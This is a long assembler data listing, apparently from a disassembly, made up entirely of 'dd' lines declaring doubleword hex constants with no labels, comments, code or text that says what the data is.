dd 0D5959793h, 0AD7837A8h, 7F896067h, 0FA3E288Ch, 3C049F01h
dd 19C4C890h, 0C40098E2h, 0DAC729AEh, 0A102A9h, 0C0347DA8h
dd 90608BB5h, 4676B0B4h, 7E90134Ch, 8456C600h, 0BA8FC3B3h
dd 92ED17F0h, 6B8CF42Ch, 3089B5Dh, 0B13F8A13h, 0CCA15C9Fh
dd 6F4326BCh, 0F68F043Fh, 0A1E07639h, 80466BABh, 8480DCB0h
dd 6F41E2AAh, 23E82F2Bh, 0D43015Ch, 3B3FF895h, 3BAFE002h
dd 8488600Bh, 2EF02075h, 2B8379Dh, 0BB8CD68h, 27A89F81h
dd 6F502019h, 0F70DF376h, 51741545h, 9D46E3Fh, 90909CCAh
dd 9897FD8h, 5946A9B6h, 45690056h, 605FE45Ch, 48F08914h
dd 5B2CBC38h, 6A938074h, 71874DADh, 71704295h, 6F257050h
dd 7E8F0086h, 36C9C141h, 72E2B7FCh, 18958CA0h, 0D9BD29C3h
dd 983EBB94h, 634DEBh, 0C1A23321h, 65DAC811h, 2837B7h
dd 0C7A299B5h, 0E401FAF5h, 3E73B43Fh, 7983E3ACh, 872BAED2h
dd 4C58B6BCh, 8C83B828h, 6203200h, 3E9D5C27h, 8543040Fh
dd 0E0948BB6h, 231211DCh, 48E0D3A1h, 0B73E15C0h, 82FC036h
dd 5C42CC1Ah, 467660FEh, 0CC017F3Bh, 0E724BF2Ah, 0B443270Ah
dd 189CD1E3h, 0EC6C0825h, 98C39BCh, 7516AFE8h, 0D59F7C54h
dd 0E77FBF40h, 97D76BB1h, 0F1CA8880h, 9FEAA0CFh, 96572C0Ch
dd 43173h, 99E70FCEh, 0FCDD915Ch, 6074072Dh, 17A25784h
dd 64C3D987h, 0B214E230h, 40F23123h, 870EA6B9h, 96F4CF13h
dd 0D2129420h, 4EEE019Ah, 21FDB67Ah, 0F475D4D1h, 6D3AB1E2h
dd 415580D0h, 3154B498h, 16430FC7h, 5087071Eh, 5AA8F02Fh
dd 952D5F0Fh, 628CCDD2h, 0A7406AC2h, 872F065Ah, 244064BCh
dd 127CB3D0h, 677B03FDh, 9F9341EDh, 566284C0h, 144AAB13h
dd 0A30074A2h, 0F649A254h, 7E0068AEh, 0EFA1035h, 4B5BC22Dh
dd 0D084C157h, 2A00F660h, 805653C1h, 30FCC887h, 0DC2C5E82h
dd 97A92313h, 0C9843490h, 3B780340h, 9FE67F49h, 0BCA4BCE4h
dd 8F098C38h, 1DDC9237h, 804C11F4h, 14E1E6DBh, 4FD109DCh
dd 286977BEh, 0DE0130B3h, 989A9200h, 44E9F571h, 0B7F303D2h
dd 467F3402h, 0A93ECDC0h, 18028E7h, 0B3590A67h, 4EC1723h
dd 5CB0B414h, 0AC042146h, 4279C4BEh, 0C9F8AE3Eh, 0A0C2905Ch
dd 0D9D51AA0h, 63E300A8h, 2467360Fh, 0E00042B4h, 3493DE32h
dd 30504010h, 67D13E75h, 7001F80h, 7130726Fh, 0F98DA4h
dd 834263F5h, 13E9FAE6h, 317000B3h, 0B3090B56h, 0E0D195EDh
dd 0E71849D1h, 94DD6D24h, 1B6BB585h, 217FCE0h, 6854E4AEh
dd 0EC243B9Ch, 1160B80h, 268400BAh, 1A47EE2Bh, 0D5025EF1h
dd 87EFD7C0h, 0DC987407h, 3679DE05h, 78BC20C9h, 60910E00h
dd 2F9EF6FFh, 338AC80h, 1EB531EDh, 0E90476C5h, 11A2E7FAh
dd 0AFAB2AC1h, 1847070h, 0BF7266EDh, 0D8612CBEh, 0AFF9F8FFh
dd 0CE74ED49h, 46746A00h, 6E0F81EDh, 0AF2DA25Eh, 0A40B5327h
dd 0C0C0DA78h, 85C146AEh, 2000EBD8h, 0C80884DFh, 0FB227Fh
dd 46860ABCh, 4F5F4D2h, 980E472Ch, 1F106710h, 6DCDC078h
dd 8CA2FCE9h, 7364344h, 3E0F6C85h, 0B45F23EDh, 0D5F457D9h
dd 847D62Ch, 23604A64h, 8F00D70Eh, 0F07D4CB0h, 4AE3C6h
dd 0D9FA2046h, 8AE48228h, 91589D95h, 0B03F8C43h, 0D0764E3Ch
dd 4B64ECBCh, 0EA0BFF7Dh, 590A87F2h, 18447928h, 35F100B4h
dd 564F34F6h, 1D61F481h, 96E95AA8h, 940F8032h, 0F0004BDBh
dd 48FE1E01h, 27362325h, 4F491CD8h, 0C71A4754h, 0C43EC068h
dd 784A9C1Dh, 37D5B80Bh, 0E1330040h, 0A874D28Fh, 8CE4634Ah
dd 0C0A454A3h, 8BEE5AFAh, 0C025C86Ch, 0A4DA0F88h, 377D180Eh
dd 4F872C8h, 956D127Dh, 0F2F8A287h, 52C73044h, 0EA3C2D03h
dd 0AB8BB7A3h, 0B6A8092Eh, 0C47887A9h, 8A4FC909h, 5EC05E83h
dd 1B1D2146h, 6A7E47C0h, 0B12E3035h, 0A827956Eh, 0AC446041h
dd 13A8B16Bh, 17104540h, 0B2D8F4F8h, 84BC8773h, 84B5C940h
dd 3B99196Eh, 7990A035h, 36B0031Ch, 9A7DD46Bh, 80807C55h
dd 3B5DFB26h, 1C00D5DEh, 41C962E1h, 18CA5Eh, 697C883Fh
dd 37A22D11h, 8697777Ah, 3A15D5Ch, 906C6BFh, 0B0E05E1Ah
dd 0A29F222Dh, 58B370h, 622ED099h, 5402447Ch, 2F6E86CCh
dd 0E4484513h, 8FA46024h, 854D03B5h, 457BA08Ah, 22E0A3B9h
dd 9AE70920h, 0AF2C206Ah, 97939FFCh, 499AF48Eh, 0E5F49C00h
dd 84168D86h, 0AC2F1359h, 45052323h, 2687767Ch, 3D438AA0h
dd 0BB4A4B4h, 4F7BF899h, 45D9C851h, 3550A318h, 90249AD3h
dd 0E50808C2h, 96BF0B50h, 4986D848h, 9B0A4Ch, 405BD1EDh
dd 833E2Ch, 6407F43Bh, 49E0191Fh, 7E113300h, 0CB80467h
dd 0FC802C4Bh, 0AD302669h, 9B720010h, 9186190Fh, 4EA80023h
dd 0EB84197h, 1BF261BAh, 0ED121ED0h, 0F6549D00h, 1AFC96Fh
dd 0DAF2E660h, 6E0650F3h, 4A23C83Bh, 36670200h, 16DCBFD8h
dd 91776F11h, 0E46D8AC4h, 7C05B67Bh, 0BA16A5EDh, 0CE433480h
dd 78AE04ADh, 0A85FC3B4h, 0B18000F4h, 20921C66h, 0D01E0B7Eh
dd 10F2AC3Eh, 0BFE70D07h, 39190ADh, 0C8841123h, 0F127C3B2h
dd 505BE22Ch, 0F6848978h, 0C8AE0ED2h, 1D6B875Eh, 109FEC50h
dd 83ACB0h, 860CF696h, 1EB45BB2h, 7FBC38h, 1BB85F39h, 77D667DCh
dd 350E5AB5h, 0B868F940h, 710E0034h, 9DA04172h, 872F42D4h
dd 91941782h, 0A6C38082h, 420176h, 0F4C9D6C4h, 386DBD55h
dd 0F159CE12h, 9FFA3490h, 268B6E3h, 0C1A892E2h, 1D3AC856h
dd 1F12F229h
dd 5A369CA0h, 97642C57h, 81AC00E5h, 0EA11FE4h, 51B00943h
dd 0A0FF74A5h, 0B2273E8Ch, 566889AAh, 1465EECh, 6B82603h
dd 8100344Bh, 728D53F0h, 38328575h, 97B2037h, 348BB5CDh
dd 670D4058h, 796C8DADh, 3C986E2Eh, 0D8350059h, 0AF3E6334h
dd 25ACB43Dh, 25E4A465h, 59376660h, 30E99C71h, 0B8A81118h
dd 0C32D6BAAh, 0E55C1189h, 896811Fh, 506BF517h, 7C48C044h
dd 1991C880h, 141A35B6h, 7C19C24Bh, 5600DC54h, 8ADE9140h
dd 7B11A65h, 78BE0E86h, 1668EAF6h, 88F08F6Dh, 0B413C029h
dd 0BC14D557h, 2EAEED2Dh, 8604E4AAh, 3CD50675h, 4BC860CBh
dd 0A4864FC0h, 0EB410026h, 3E546A5Bh, 14133CA5h, 0F0C465A8h
dd 1F706422h, 7D02C6BEh, 22A7B740h, 656CB4C1h, 41CC20CCh
dd 0AE1AF67Bh, 0D9D06E0Dh, 1847D1F4h, 0CA1D1FEBh, 1A54A42Ch
dd 460B133h, 0A90B1369h, 1D41FBD0h, 852211A4h, 32C050A0h
dd 98268798h, 0B3822D18h, 7E819005h, 0C09B00F0h, 0CE88A57Bh
dd 60F0474h, 0BDB96EE1h, 98F64B28h, 35801FE3h, 20B6B07Ch
dd 48ABB382h, 0A4985F8Ah, 0ECA4556Ah, 321B2E1Dh, 0ECE99100h
dd 2DC00FA2h, 0AC17D2BFh, 0DA804511h, 0E2D44F05h, 97790402h
dd 8033ADC0h, 8C41EEF8h, 95340BB7h, 60477308h, 0E6600464h
dd 66970FCFh, 2ECB0A8h, 7C20FAF1h, 30630ECCh, 2C014F92h
dd 1838CFD9h, 9E14CD00h, 22A6172Eh, 53DC8F25h, 0B23B7008h
dd 0E220D000h, 6FA9C032h, 0B45D1C93h, 0E0E02DABh, 3045A83Eh
dd 6194CC20h, 66981990h, 0F20462F2h, 0C2813004h, 4D2D60B1h
dd 0CC03C004h, 2FFF6DB2h, 223442Eh, 4217FD39h, 0CC8E95E3h
dd 88C04888h, 7071A3F8h, 2AA3C9Ah, 8BE51905h, 0AC70EDF2h
dd 0A934090Bh, 24596724h, 0DC80EA1Dh, 31BF53F5h, 0ADF0907h
dd 6CE25DB6h, 0C63EBC1Dh, 22D1037Eh, 7B77B812h, 520B6900h
dd 43AD1AF4h, 0ECC40EE5h, 19402B7Eh, 0FF141DEDh, 0B3F4E000h
dd 0AB581A1h, 94979F53h, 0A7804491h, 25A8B05Ch, 0A229B704h
dd 7AAE9460h, 0A3C31D48h, 0C20E85C0h, 4BBF4EB5h, 9DC88806h
dd 0EF654A00h, 52098993h, 0D7203AD2h, 0E231600h, 5C8229CDh
dd 0F384629Dh, 0B8F70FCh, 4F065800h, 3D8CCCAEh, 0D881B704h
dd 69952C9Fh, 0BA880EF8h, 0B2F980D0h, 0F4E4DA1h, 0AC352B0Bh
dd 80C674C5h, 52541556h, 0BE4ADF01h, 260DA897h, 663F820h
dd 74F2170Eh, 544ED82Bh, 97312440h, 0E8E64377h, 0EDF0007Ch
dd 5D24EE5Ch, 0FC12B816h, 0D04076CEh, 2FE26D7Bh, 4C79F70h
dd 4E602064h, 77AFB77h, 7B863Ch, 24B7B195h, 25AD351Fh
dd 40452897h, 6B6123E4h, 0E6036FEEh, 8F3DFC39h, 172821ACh
dd 0B0ADB035h, 0C310B44Ch, 0D21D4AB3h, 78976D66h, 0E6812191h
dd 2F873341h, 3823202Fh, 0E57AC702h, 710C59F5h, 1CA71829h
dd 40D452F3h, 721486Dh, 0E716FC0Fh, 6000C76h, 3F871B80h
dd 3EC24AB0h, 0BC605F74h, 69A6508h, 0AC5FBC94h, 0F180C137h
dd 0A0A0201Bh, 2C74B4EBh, 8098A912h, 7DE0C0E0h, 0FB2A0285h
dd 2342F258h, 46C4C8E7h, 0BDD2A663h, 6A9D5C78h, 9F50FBCh
dd 7120F073h, 0AE3F2EFBh, 0D2A3903Ch, 3AA838B9h, 0E488704Ah
dd 73B11894h, 5AE3E852h, 3513E92Fh, 1C8580E4h, 2050F4D2h
dd 1A304312h, 0E9CB80C8h, 0E23C3209h, 0B0233026h, 12EB0900h
dd 0A558E08h, 28679F70h, 0CF602564h, 7526B1D3h, 0C00A141Eh
dd 4F65F836h, 74C38457h, 5A14D891h, 12CD5A85h, 0C07C9AFCh
dd 15ECB4BFh, 0D2400358h, 930AA8AEh, 5AF4A8E5h, 72C0C8DAh
dd 0D9C5CC35h, 0A9B5FD09h, 6364C03Bh, 1F410193h, 21D8B86Ah
dd 0ADAFE048h, 596F8004h, 50E301B0h, 6146B186h, 4CF51724h
dd 0B21674BEh, 1CF3575Bh, 0FE300CB2h, 65E70058h, 0EB1B7C09h
dd 0FC16BB4Ch, 0FC80279Fh, 0A2A88707h, 0D44648h, 76384277h
dd 650EC75Ah, 0BF3F6A76h, 6E0E778Bh, 850978CCh, 70B157B9h
dd 5CA2A423h, 0F2B47730h, 0F6C00BFh, 6BAB6493h, 184E72C7h
dd 6EAE4444h, 0A9C9121Eh, 987209A8h, 71587887h, 396C34ABh
dd 0ACA40418h, 0F8F852D1h, 0A2504922h, 0B5BFF62Ch, 5E1581D8h
dd 0EC9F0930h, 0E09531FFh, 82289320h, 5017078h, 757BD92Bh
dd 346C4273h, 1C6DEA10h, 2319F3B5h, 4F2BA7A8h, 4EC1E490h
dd 525AA83Eh, 9079578Ch, 2C2E1832h, 2A4368E8h, 35291A30h
dd 5C4EADA8h, 4887E442h, 7227101Fh, 0B85F0086h, 0D438984Dh
dd 0CB01DBC3h, 337CA043h, 8981039h, 9B7A21EBh, 4A67DB00h
dd 41D12DBBh, 0BAE9003Ch, 3450F9C3h, 7B90893Fh, 0DEF2CD00h
dd 0CEC83836h, 0A49B0071h, 4D399229h, 330308E3h, 6D3745E0h
dd 0B438F155h, 5CD078F0h, 0DB01A8F9h, 731D51DEh, 3770D0DDh
dd 886120C0h, 66560F8h, 0C533A054h, 9800183Eh, 0CE19642h
dd 1DA57B24h, 0DEFCE540h, 0BD9F009Ch, 9ABADBAAh, 3134C037h
dd 35887111h, 19F1A6DCh, 87EB59Bh, 75218050h, 0C15A88AAh
dd 0E86B0AECh, 9D80BB5Dh, 2DF9C049h, 0A825D21Eh, 0F8F10B30h
dd 5DCA96h, 0B21CE433h, 11A6E126h, 22849D50h, 4A5AF000h
dd 4DA23451h, 694360C0h, 77477FAEh, 8F9BD33Bh, 0F4E331h
dd 0C9810E16h, 13AE7F6Fh, 4DA3A7h, 3FC03755h, 280183F5h
dd 0F11DAFC1h, 5FDC4E19h, 0A1DFE5h, 1CB2EB6Bh, 0B9037156h
dd 0C4A9C3A4h, 80338A9Ah, 0D63D66D8h, 7C500F43h, 9E262E36h
dd 0EE155121h, 99E87E09h, 102631B0h, 0CADBC607h, 0B1C49843h
dd 0DB9E7D40h, 0AA00A664h, 59B552B6h, 0CB8C2D9h, 0BAFFA4FEh
dd 70C7B429h, 0DF616B0Eh, 0C43BD76h, 218FA0D3h, 0ED11C051h
dd 7294F236h, 0B8931406h, 32085CCAh, 0C2097E9h, 2BFD1B60h
dd 0C8A72400h, 0DEEBB99Fh, 1C694952h, 3F486B07h, 898C806Ah
dd 0EF00C1A1h, 0D7298BDBh, 1D3AC13h, 0A3AA8474h, 0FDD1E4F8h
dd 46388435h, 50986E37h, 0C5F904C9h, 32DD6325h, 81622174h
dd 666BC8F8h, 0D8E3D700h, 230C9A3Ah, 959F2EDh, 0F2CE7C9Eh
dd 60A77C04h, 23C2F9CAh, 2C20CB25h, 0F8825B00h, 6B316513h
dd 9957F46h, 39C05A77h, 0E9C3242Fh, 41E16659h, 0CBF8C075h
dd 0D6331505h, 0AC325152h, 60353186h, 2C567272h, 210330ACh
dd 0F22E0Bh, 0C2131C0Eh, 479BC166h, 1D4B3722h, 0E223AFh
dd 0CBAE672Bh, 3E28E977h, 0DE12F4E0h, 0B8609FBAh, 0EE3A8896h
dd 8B448C8Eh, 88AB0E72h, 0ADEFDC8Ch, 0A08D5547h, 0B2CF642h
dd 9036DF00h, 9F7806BBh, 482F494Dh, 0D8DBC480h, 448CC843h
dd 9C007BB2h, 0AB3C6CDBh, 637AF1A1h, 88495897h, 11C4ACA0h
dd 0BBB6B501h, 0AECEA730h, 30859442h, 7271F234h, 5226446h
dd 0F22D0A0Fh, 3E20070Ch, 3D46DD47h, 41D804D9h, 0C0A04959h
dd 9946CC04h, 5148C4Ch, 0F910BED0h, 0AE23682Eh, 0A055000h
dd 7EBD6C1Dh, 8B0F32DDh, 323083B8h, 727014F2h, 8E0F034h
dd 8201F22Bh, 7080790Dh, 3FEC2FA1h, 30814C71h, 11E45068h
dd 886C839Dh, 317EBA30h, 0A9781089h, 0E2E1E288h, 0E3FE00FCh
dd 0EE07B7D6h, 2230F4A7h, 0C9BB2935h, 0C06718C4h, 0A4E3D9B9h
dd 70BA8B26h, 0A7C47265h, 9CC81C90h, 85880070h, 462D9BA9h
dd 0C9DB4C65h, 0E5A4FB48h, 0FD16EC03h, 0C7100166h, 0C56F8F36h
dd 980060E8h, 7788F88Ch, 22964633h, 0A8730942h, 4577D88h
dd 0C49068F7h, 793C2BAh, 9ED3AD1h, 1CE8903Ch, 0BB0120ACh
dd 0C2979D72h, 0F430480Fh, 23AD0194h, 0E17688FEh, 3C00209Bh
dd 1DF34602h, 8067C03Dh
dd 5992CA74h, 159E09BCh, 84B1BAFEh, 74201988h, 5C722B71h
dd 97DC08E8h, 0F2280D03h, 0E2CE8975h, 0F38065h, 0F81DF7D1h
dd 8DC07296h, 4BB36715h, 4C6526A0h, 0C1B96661h, 0B0218194h
dd 9629F680h, 0E71A9A68h, 6121BFADh, 0C518280Ch, 428DDB09h
dd 0C41C10h, 0E4DB9D74h, 0F3B70FB1h, 0AB5E520h, 0BE676039h
dd 2BB3097Ch, 60A4BC84h, 23C3F88Fh, 6F117325h, 0F8875803h
dd 6B88C227h, 0F9131DAEh, 4C080BE5h, 9982C0B4h, 48289673h
dd 0AA287040h, 6E01BC37h, 0F46DFBF1h, 9C523C20h, 20DEC282h
dd 0C1C887B0h, 0FED00067h, 9ADB63ECh, 68B93BD7h, 0C8BA4180h
dd 16F557A4h, 0DED825h, 0D635D26Ch, 6B605324h, 0DA03C5B1h
dd 970F00DDh, 3B7A5C7Eh, 60741F8h, 0BD746D83h, 32060BDBh
dd 2DB80428h, 8EDBC260h, 1874277h, 47DB9A79h, 1DB0FF7Bh
dd 0ACA09037h, 0A524D165h, 4514489Ch, 8C71BCB4h, 480F4E7Eh
dd 6028620Bh, 0AC41F1BEh, 5EA42E1Ch, 7AD7E028h, 0CB376F2h
dd 4471C4A9h, 57EE6518h, 986B2D24h, 0B19D8C0Dh, 8C9B5024h
dd 3688721Fh, 0EC386ED2h, 88A70476h, 0D7E72441h, 6819C9C4h
dd 0A884282Eh, 8C008CACh, 62B8A888h, 0D4A074E4h, 2440B099h
dd 233C043Fh, 0C25176F0h, 0C049BF0Ch, 0F3219D73h, 7C95F605h
dd 80339404h, 236C2A24h, 70E1008Bh, 0FA935A58h, 0C0305F75h
dd 0C7FC2147h, 3DF21FE3h, 0CA500026h, 31F8536Bh, 0D81BF3EEh
dd 0E578E50Eh, 17AF18CCh, 1DB6A2DAh, 0DE50E0h, 0E6511A37h
dd 903A785Eh, 2E9F4A8Ch, 0D52310h, 0A34AA9DAh, 3B02E2BDh
dd 52C2E799h, 4434486Ch, 26AC1C85h, 735700D2h, 16294A06h
dd 98008176h, 4291E63Dh, 0F08575h, 3450EA3Ah, 53C76FF6h
dd 0DD709E01h, 7C8CF7BEh, 9CFD1821h, 4F0FBB08h, 96219B45h
dd 0E110983Ah, 76B9C097h, 0A0DB8421h, 3A0DBB88h, 0B331675Ah
dd 295594E1h, 0AB1D003Ch, 0D4FAA69Fh, 3B890062h, 0C95C0CEAh
dd 0A5009CCCh, 9D9BD5E5h, 4ACABA42h, 23382F5Ah, 9A880075h
dd 80183324h, 0A70B9BF0h, 2994DDF6h, 0C47C45E0h, 939614Eh
dd 2EBE7C20h, 0A0F4B0D0h, 9ADA3DF4h, 46173707h, 8C8C7A3Fh
dd 2AB1A455h, 7ACF1C00h, 0BA904B7Eh, 7FFB0192h, 3FC03A45h
dd 0C12DCC55h, 5D06CB1h, 0A0048698h, 2D80C14Ch, 9549F0C0h
dd 0F71B004Dh, 0C58B70BEh, 1F30F4AAh, 3B47C93Fh, 9D41C14Ah
dd 0CE41C73Ah, 0A41DB089h, 0E080B111h, 0C5B803F7h, 0F972A11Eh
dd 22B7D2h, 9EB4A4D0h, 0A48E9562h, 37F046E5h, 7180E8B4h
dd 99C0886Eh, 0C94A1FD5h, 0D35F1F69h, 4CC5432h, 8C72BCh
dd 9D0905D1h, 57BA8E70h, 24F69300h, 0A9F912C1h, 0E092BCh
dd 6CE2CB28h, 3610467Ah, 47F53E1Eh, 0BCCBC1D2h, 309806C4h
dd 39AC823h, 9BCC161Bh, 0C5F0CF85h, 0E8CBC312h, 95F09060h
dd 0E48904CAh, 8EA52221h, 0A39F4Ch, 0D3248A91h, 9C3D0F5Eh
dd 166F01CAh, 0E15AD9CBh, 8008E093h, 0F03E4724h, 700AFC92h
dd 0D8840ED1h, 6DED5786h, 0EE6CA0F0h, 982B333Ah, 0A8C04D7Ah
dd 2898FC37h, 6740BF05h, 14D06AB8h, 50718941h, 181AD039h
dd 282C87F0h, 1B35F4B4h, 0B83B4025h, 0A0004223h, 0E9131C45h
dd 25C9C38Ah, 0C3A4C965h, 41F55254h, 0CBF667F4h, 1B25EC35h
dd 0B92CA4A3h, 58DEAC98h, 3B0AE4E0h, 84D484C5h, 97DE23D8h
dd 1A3913ECh, 4555FFB8h, 80054E4h, 896CBB0Eh, 0AC871Bh
dd 707D4A22h, 0D0FDD6BAh, 0D15E4E0Ch, 4F4D41F2h, 39F06B46h
dd 33F180C8h, 47B8256Eh, 82CB4EBh, 0E883A181h, 3DBDC0Ah
dd 0C2CA9E18h, 7BE93AA0h, 97C43036h, 465EF89Eh, 4F690189h
dd 6360DE4h, 0FA31C4h, 0D4B8F4ACh, 24AF7E90h, 0B04A4Ch
dd 910E26BCh, 4938479Ch, 127E88D5h, 45DC06E9h, 93BD2EB4h
dd 0D09F5D40h, 71EAFB29h, 679D9309h, 0A43091BFh, 883EF460h
dd 0A500C259h, 0D9FC1966h, 0C93770Dh, 0A7874CF4h, 71048D08h
dd 0A0C730C3h, 649917C4h, 23D7DBE8h, 0AF11C043h, 0DB9F7E03h
dd 0A5909360h, 8E12C5DAh, 0E8915477h, 4EC8113Ch, 4BF10123h
dd 0C4E28DDAh, 3ACC2819h, 82F02A8h, 84BB1DE8h, 0D660ABECh
dd 257BC6F9h, 8E5F0087h, 0C795FFF8h, 67AC9F01h, 0A252F2A1h
dd 76F41A4h, 12C80DCBh, 0A8A94E50h, 0DEE2C465h, 63771897h
dd 0D04A8B0h, 0BD82D159h, 0BDF9FC93h, 0DCC8F88Bh, 0B7B5A0CEh
dd 4A8140E8h, 0DC9C0209h, 5097BD5Dh, 60980208h, 99810663h
dd 42708F00h, 13924ACh, 5C73B0DEh, 7580D8C5h, 0A22DC38Fh
dd 58268460h, 2542239h, 0B0135A60h, 94906648h, 59EEE2CAh
dd 0C24C1A02h, 0A06752A9h, 779423BCh, 1E903E0h, 0BDCE9960h
dd 490BBE02h, 0D828C651h, 38EB04E0h, 8080394Eh, 9EF16458h
dd 98B018B2h, 52805577h, 4959C06Dh, 7CAA85CEh, 2B674A00h
dd 2E0936Ch, 2CF3007Fh, 0BB1CFBC8h, 0F0A8A552h, 83070A4Eh
dd 895B9CF8h, 495FD4C0h, 819823D2h, 96F28439h, 0E384472h
dd 0A5F23100h, 41D59167h, 9FB12859h, 3ACECC8h, 0CC4EC429h
dd 3101F423h, 0CEC63DB5h, 0B7F0826Ch, 3B311E29h, 5194C27Dh
dd 84DD24Ah, 4AE2AFC0h, 9199857h, 4BB1B267h, 182B2069h
dd 0CCDB08C0h, 7771A843h, 15DBCCh, 7353328Fh, 9CAA7099h
dd 7A8D3D14h, 94606AC4h, 0B894CF15h, 22DB0046h, 51502FA8h
dd 18915234h, 0BC12982Ch, 0C0828848h, 7293F239h, 802C0C4Ah
dd 9D90A00Fh, 2C21124Ah, 0F5100EBFh, 5C454EC9h, 0D96071E4h
dd 0CA02BBA5h, 0E4538FACh, 249C5270h, 808440C0h, 0CE47834Ah
dd 0B900862Ch, 72EC9A3Ah, 0C7B1AAD9h, 0B0409080h, 75E50F83h
dd 3C2C312Ch, 3A6C467Ch, 4B10BD9Fh, 0A79ED400h, 4C53D998h
dd 0E1FC484Fh, 0F762178Ch, 602CD1E6h, 0C20024C0h, 0F4CC2C0h
dd 4180268h, 4612F52Ch, 0C74CF43Dh, 0C1C88524h, 8D379031h
dd 2467BDF0h, 1C8A1E1h, 3E48B520h, 5031A642h, 273B040Fh
dd 0FD808337h, 0B8BDF691h, 0B9F72150h, 0F4198BF1h, 56003867h
dd 0F0DA048Fh, 1E3491Ch, 0B339DE19h, 20930D5Fh, 54312EC4h
dd 0EE58E1E7h, 2D26D8h, 0E9C6CBCAh, 0C86A79F9h, 0CC8C1B03h
dd 0F239DA17h, 7124D1A0h, 218B0h, 24F38BD6h, 7D5D3562h
dd 4688E012h, 0C8CE9C9Ah, 1781F42h, 0F415E070h, 3809F21h
dd 0C53A41D2h, 0F4105C9Dh, 8C50E8h, 562D6A15h, 0ADFABA5Eh
dd 0EED8DA04h, 0C4818F58h, 4FD0B072h, 703CEB3Dh, 406C2116h
dd 73FA6B5Ch, 9894DD53h, 0B22000D6h, 0FE5B9F1Ah, 12586E2h
dd 0F748419Eh, 90426470h, 95897118h, 4232540Fh, 0CFB867BCh
dd 7ED7B8A0h, 0B49A96B1h, 0E18CE91Dh, 12C7B2C4h, 9CE24C84h
dd 0C531ADF2h, 70417631h, 960016C3h, 5A2DD164h, 91141DE1h
dd 0FBF3804Fh, 96E01Ah, 50F5E3C2h, 65A6B934h, 0E7C02763h
dd 65CF9ABCh, 60DFE4FCh, 14FE4B3h, 1B3B0B46h, 2CE89EF0h
dd 80398800h, 0C53EF347h, 0B580BA41h, 0D55502FCh, 0B759BDB8h
dd 44794C51h, 0E27EBA18h, 31DF3C18h, 0A0532070h, 1CDA0C30h
dd 77A4EF26h, 0E942C0D1h, 0AE69578h, 0A83A7735h, 0ADF2D8A2h
dd 44D930h, 134AB2CDh, 99873D1Eh, 50C59F28h, 5D837000h
dd 7CA2E8E5h, 9084E217h, 4A6B0E2Eh, 78017B7Eh, 40543A21h
dd 0D29EDD2Ch, 0A2BDA801h, 57CB2DDAh, 0DE8D20h, 0DC814216h
dd 9BD65860h, 93747201h, 63AACA9Eh, 5A97B1F4h, 0B2D83422h
dd 30EBB2E4h, 2B26D3C3h, 0B117ABA6h, 250A785Dh, 0AB002C98h
dd 0BAF323C7h, 28C52476h
dd 36A8031Ch, 5BE74A1Fh, 8E507284h, 0C0EBC87Ch, 0C6B406B1h
dd 0C8F7BE1Fh, 0E7802118h, 9E6CA432h, 0EB4656A8h, 80F6BE03h
dd 0F5D93DF4h, 0C8D8877Bh, 0A64231DCh, 0A2D069D9h, 0E170082Bh
dd 52E99D82h, 978C406h, 89658B93h, 0F4AE5459h, 0F724656h
dd 0FF6D8C0Bh, 38649F2Fh, 0B0879821h, 0E50583Ah, 78324D3Ch
dd 56C903Fh, 60976D53h, 0C8B8CB9Fh, 13C5C3AEh, 0CBBA4280h
dd 0DEE623ECh, 0B222DD0Bh, 0E3BC2052h, 1F2C587Fh, 182532B6h
dd 0CB37190Ah, 9E9CD054h, 8D89D709h, 9CE804DBh, 41889361h
dd 38F03687h, 6C7FA0F8h, 39770188h, 2DF9753Ah, 29B0087h
dd 0EE413255h, 844C528h, 69E46807h, 8D123F67h, 5C1C5C46h
dd 8A18E7h, 1E7F9794h, 530A9229h, 0A03F9C5Eh, 823A4423h
dd 95941D7h, 1C2C4094h, 39740551h, 0A2993468h, 97E1F124h
dd 585BFF0Ch, 20B7AC12h, 5B3C1DA0h, 1C57C902h, 713892F2h
dd 0C7370070h, 0F4450D03h, 7F4A5300h, 11AE67D4h, 5DE818ABh
dd 7C2E29BEh, 0A956F403h, 0B0D128C4h, 0BC721BFh, 8C8D8141h
dd 70A9D048h, 856356FEh, 0E49AD7B0h, 13D983C3h, 0C0A0D510h
dd 217712D8h, 85CA1F20h, 608CC46Ch, 98584305h, 1EAE04Eh
dd 0C8BA44E2h, 0E832D8D1h, 3700CEF4h, 1DA9D93h, 0BE12F969h
dd 24372DCCh, 0BFD5EF03h, 7998DAE5h, 747824E4h, 6D00B046h
dd 0B688E9A3h, 93071085h, 45A6BBB1h, 0C412A41Ah, 0E6DDF490h
dd 4A610CA2h, 9E702FD6h, 2402A40Bh, 448C6DB3h, 71F16076h
dd 271B00E3h, 7EBF25E7h, 24B48AE9h, 25826288h, 0AD91E017h
dd 72E35680h, 0B04EFDF9h, 20F79807h, 0AB640748h, 0B6314C5Dh
dd 0BEC8D300h, 2B2C8B6Dh, 36733Ah, 37C481ACh, 214D12BAh
dd 80843424h, 242467Ch, 54FBDD20h, 5B84F061h, 0C91041C0h
dd 31CE393Bh, 0B2EC23FFh, 4A33075h, 84D1103Eh, 0D96548CDh
dd 42ADE090h, 571C39ACh, 6F29B680h, 0AA9230A3h, 0C6F01D12h
dd 0F5241481h, 0CFE33084h, 0E2D4B357h, 477D3071h, 0ED57BA0Ah
dd 0F40AB4A2h, 5D4284E8h, 82B8A0E9h, 2EE0BD4h, 9EB18473h
dd 0CE8064DDh, 55183C70h, 2E67FCB6h, 0B2F09460h, 793D2748h
dd 0E5757044h, 0E6D68916h, 0EF476CC3h, 916C1FCBh, 6AC68002h
dd 123CD28Fh, 0E2BF6755h, 0B14387B8h, 6465F3C0h, 503D2846h
dd 7BD70548h, 524452A3h, 0F794B288h, 257EC078h, 5A00CE8Bh
dd 0AE52B3D0h, 0EFFCEF23h, 10C97444h, 0E6B8487Dh, 530B3F75h
dd 935DFC8Eh, 61E2D754h, 0D0C7E9Ah, 48DA50B2h, 0B0983870h
dd 0F0B647E2h, 0E300F044h, 67BE97A4h, 0E27F7D25h, 26F4D398h
dd 0E707D6C0h, 24AE4A8Ah, 60B69F34h, 6086FBB1h, 0E340F200h
dd 4FF805E2h, 0CD99B367h, 0ACD068E4h, 94078CACh, 9AEAF203h
dd 66F183FFh, 3E6079DDh, 87096F9Eh, 90E49C69h, 994CEF1Ch
dd 0E245684Fh, 65A0C739h, 60B0E464h, 2FB909h, 79350D3Bh
dd 0A4E50276h, 0AE5E8F09h, 0D9F87951h, 48F18AEh, 0B9A5B34Ah
dd 80FC5Fh, 94284C04h, 90A69D65h, 0C2C43BE0h, 0F1CEE284h
